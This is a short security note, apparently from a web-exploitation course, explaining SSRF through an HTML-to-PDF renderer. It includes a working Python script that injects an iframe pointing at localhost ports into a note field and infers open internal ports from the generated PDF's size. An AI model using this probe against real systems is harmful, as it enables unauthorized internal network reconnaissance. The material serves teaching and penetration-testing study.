SSRF internal port scan

SSRF internal port scan

Server-side request forgery occurs when an application component makes a request to an attacker-controlled destination. In this chain, an HTML-to-PDF or page renderer receives an injected <iframe> and attempts to load its src URL from the renderer’s own network position.

The renderer’s output becomes a Boolean oracle. An open internal port produces a known PDF marker or a repeatable increase in output size because content was embedded; a closed port produces the baseline document. Both responses must be compared with controlled open and closed ports before the result is treated as reliable.

def probe(s, port):
    s.get(MODIFY_URL, params={"id": 4, "note": f'<iframe src="http://127.0.0.1:{port}"></iframe>'}, verify=False, timeout=10, proxies=PROXIES)
    r = s.get(GENERATE_URL, verify=False, timeout=10, proxies=PROXIES)
    is_pdf = r.content.startswith(b"%PDF")
    is_larger_than_baseline = len(r.content) > BASELINE_LEN
    is_open = is_pdf and is_larger_than_baseline
    return is_open

open_ports = []
for p in PORTS:
    if probe(s, p):
        open_ports.append(p)
print(f"[+] Open internal ports: {open_ports}")

_{Find by: ssrf, port scan, internal, iframe, pdf, html injection, enumerate ports, server side request forgery, chain, discover services, blind · Source: CWEE/PDF SSRF}